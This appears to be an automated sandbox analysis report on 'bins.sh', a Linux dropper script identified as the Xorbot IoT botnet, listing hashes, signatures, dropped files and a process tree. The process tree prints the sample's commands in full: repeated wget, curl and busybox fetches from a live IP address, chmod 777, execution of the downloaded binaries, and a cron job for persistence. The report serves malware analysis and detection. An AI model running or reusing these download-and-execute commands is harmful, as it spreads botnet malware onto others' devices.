Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03-12-2024 00:26

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    616244bb402bee04b6b45f703b80d324

  • SHA1

    eaddf7ee69008a10c656aba8958a6cecd0ba4f19

  • SHA256

    43fd86667e58eeb0e59922eb2aa6773f01cbd8c39235dc00904a1eb13230eccb

  • SHA512

    b1c3ac89ae943e25e2657353fa3f06f3fdc85f489cc965c7cbcc310357d75d0b1977fcd66b09aee06aaaf9986246d1c6ee29cda146aa773aaca3bfb1885857a4

  • SSDEEP

    96:82/zFBpXexFta6UdZrD1iyqAIg93GCk9Nbe/axFta6MfdG0rDNFoyqAIg9OWGCki:82/zFBpHxQOGCk9N9iGCk9N6Xz7

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (796) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          ./Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            ./0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Executes dropped EXE
            PID:737
          • /bin/rm
            rm 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
              PID:739
            • /usr/bin/wget
              wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:740
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:741
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/chmod
              chmod 777 b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • File and Directory Permissions Modification
              PID:743
            • /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              ./b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Executes dropped EXE
              PID:744
            • /bin/rm
              rm b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
                PID:747
              • /usr/bin/wget
                wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:749
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:757
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/chmod
                chmod 777 zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • File and Directory Permissions Modification
                PID:771
              • /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                ./zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Executes dropped EXE
                PID:772
              • /bin/rm
                rm zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                  PID:776
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Writes file to tmp directory
                  PID:777
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:785
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Writes file to tmp directory
                  PID:798
                • /bin/chmod
                  chmod 777 fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:803
                • /tmp/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  ./fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Executes dropped EXE
                  PID:804
                • /bin/rm
                  rm fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                    PID:807
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Writes file to tmp directory
                    PID:811
                  • /bin/chmod
                    chmod 777 kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • File and Directory Permissions Modification
                    PID:812
                  • /tmp/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    ./kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:813
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:815
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:816
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:817
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:818
                        • /bin/rm
                          rm kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                          2⤵
                            PID:820
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                            2⤵
                              PID:823
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                              2⤵
                                PID:824
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                2⤵
                                • Writes file to tmp directory
                                PID:825
                              • /bin/chmod
                                chmod 777 ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                2⤵
                                • File and Directory Permissions Modification
                                PID:910
                              • /tmp/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                ./ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                2⤵
                                • Executes dropped EXE
                                PID:915
                              • /bin/rm
                                rm ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                2⤵
                                  PID:917
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                  2⤵
                                    PID:918
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                    2⤵
                                      PID:919
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:921
                                    • /bin/chmod
                                      chmod 777 2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:922
                                    • /tmp/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      ./2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      2⤵
                                      • Executes dropped EXE
                                      PID:923
                                    • /bin/rm
                                      rm 2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      2⤵
                                        PID:924
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                        2⤵
                                          PID:925
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                          2⤵
                                            PID:930

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /tmp/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

                                          Filesize

                                          151KB

                                          MD5

                                          6c583043d91c55aa470c08c87058e917

                                          SHA1

                                          abf65a5b9bba69980278ad09356e53de8bb89439

                                          SHA256

                                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                          SHA512

                                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                        • /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf

                                          Filesize

                                          107KB

                                          MD5

                                          eb9c3a0de91fcf16ba17cb24608df68c

                                          SHA1

                                          09d95a7d70d5e115d103be51edff7c498d272fac

                                          SHA256

                                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                          SHA512

                                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                        • /tmp/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ

                                          Filesize

                                          127KB

                                          MD5

                                          89077b7bd4bcafca7713be43635c4862

                                          SHA1

                                          fc02edb8fba29ea8ee99e6157ef8560334530052

                                          SHA256

                                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                          SHA512

                                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                        • /tmp/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB

                                          Filesize

                                          112KB

                                          MD5

                                          05d7857dcead18bbd86d2935f591873c

                                          SHA1

                                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                                          SHA256

                                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                          SHA512

                                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                        • /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q

                                          Filesize

                                          119KB

                                          MD5

                                          1b166b95f9cb4b079ef1b9ec8363ddf3

                                          SHA1

                                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                                          SHA256

                                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                          SHA512

                                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                        • /var/spool/cron/crontabs/tmp.N3Ieva

                                          Filesize

                                          210B

                                          MD5

                                          f05545af686a5cdf3ebaf3ec5c58a7a9

                                          SHA1

                                          418f40ee7373e63b7534e2855e9f94981ec6c483

                                          SHA256

                                          72d9e41a77ead35488b34383913fb958f6e2a7b7bb13ddbbb8168d91d58d958e

                                          SHA512

                                          87c9404f7fee598ed029d169058c6aa360e365840cd949454db29207f2b515a9b39ab223e2e804839b373c17d1553ac8d71e0029469a6acd5e5e55dfd76e0919